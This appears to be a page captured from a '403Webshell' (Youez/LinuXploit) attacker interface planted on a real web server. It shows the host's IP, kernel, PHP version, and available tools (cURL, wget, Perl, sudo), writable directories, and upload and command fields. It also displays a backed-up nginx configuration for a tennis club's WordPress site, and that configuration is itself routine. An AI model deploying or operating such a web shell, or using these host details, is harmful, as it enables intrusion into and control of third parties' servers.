403Webshell
Server IP : 65.1.209.187  /  Your IP : 216.73.216.144
Web Server : nginx/1.24.0
System : Linux ip-172-31-5-206 6.14.0-1015-aws #15~24.04.1-Ubuntu SMP Tue Sep 23 22:44:48 UTC 2025 x86_64
User :  ( 1001)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/lib/letsencrypt/backups/1768844668.9412777/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/lib/letsencrypt/backups/1768844668.9412777/www.trivandrumtennisclub.com_6
server {

    listen 80;
    listen [::]:80;

    server_name www.trivandrumtennisclub.com trivandrumtennisclub.com;

    root /var/www/ttc_wordpress;
    index index.php index.html index.htm;

    # Allow large uploads (WordPress media)
    client_max_body_size 2000M;

    # WordPress permalinks
    location / {
        try_files $uri $uri/ /index.php?$args;
    }

    # PHP handling (PHP-FPM)
    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php8.3-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        include fastcgi_params;
    }

    # Cache static assets
    location ~* \.(css|js|jpg|jpeg|png|gif|ico|webp|svg|ttf|otf|eot|woff|woff2)$ {
        expires 30d;
        access_log off;
        try_files $uri =404;
    }

    # Deny access to hidden files (.env, .git, etc.)
    location ~ /\.(?!well-known).* {
        deny all;
    }

    # Protect wp-config.php
    location = /wp-config.php {
        deny all;
    }

    # Block PHP execution in uploads
    location ~* ^/wp-content/uploads/.*\.php$ {
        deny all;
    }

    # Security headers
    add_header X-Frame-Options "SAMEORIGIN" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
}

Youez - 2016 - github.com/yon3zu
LinuXploit